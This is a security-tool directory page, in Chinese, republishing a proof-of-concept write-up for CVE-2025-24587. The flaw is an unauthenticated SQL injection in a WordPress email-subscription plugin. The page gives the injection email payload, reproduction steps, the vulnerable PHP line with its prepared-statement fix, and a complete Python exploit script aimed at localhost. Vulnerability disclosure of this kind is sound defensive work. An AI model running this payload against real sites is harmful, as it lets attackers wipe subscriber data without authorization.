Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-24587 — PoC of CVE-2025-24587 | Kitploit
工具/GitHubGitHub/dottak/cve-2025-24587
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdottak/cve-2025-24587

CVE-2025-24587

PoC of CVE-2025-24587

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-24587

1️⃣ 组件类型

WordPress 插件

2️⃣ 组件细节

组件名称 Email Subscription Popup

受影响版本 <= 1.2.23

组件 slug email-subscribe

组件链接 https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

漏洞类别 A3: 注入

漏洞类型 SQL 注入

4️⃣ 必要条件

无需身份认证

5️⃣ 漏洞详情

👉 简要描述

未授权用户(攻击者)使用包含 SQL 注入负载的电子邮件地址订阅新闻通讯。当管理员访问“订阅者管理”页面,选中该恶意电子邮件地址并请求删除时,嵌入在电子邮件地址中的 SQL 注入负载会被执行。结果,数据库中的所有订阅电子邮件地址都将被删除。

👉 复现步骤 (PoC)

  1. 准备一个已激活“Email Subscription Popup”插件(版本 ≤ 1.2.23)的 WordPress 站点。
  2. 使用 Python 运行 poc.py.txt 文件(已附上),以包含触发 SQL 注入漏洞的负载的电子邮件地址订阅新闻通讯:
    • 电子邮件地址:'/**/OR/**/1=1#@a.a
    • 注意:由于客户端(浏览器)存在验证,无法直接通过浏览器使用此电子邮件地址订阅。请按照 poc.py.txt 所示直接发送 HTTP 请求包。
  3. 以管理员身份登录,并导航至: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management
  4. 选中电子邮件地址 '/****/**OR**/****/1=1#@a.a,然后点击底部的“删除选中订阅者”按钮。
  5. 结果,所有已订阅的电子邮件地址将被删除。

👉 附加信息(可选)

[漏洞原因]

该漏洞出现在文件 wp-content/plugins/email-subscribe/wp-email-subscription.php 的第 2080 至 2084 行之间:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

要解决此问题,可以使用 WordPress 提供的 $wpdb->prepare() 函数。该函数能够安全地转义和格式化 SQL 查询中使用的变量,以防止 SQL 注入攻击。

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ PoC 代码

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ 漏洞利用演示

视频

7️⃣ 参考资料

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
下载工具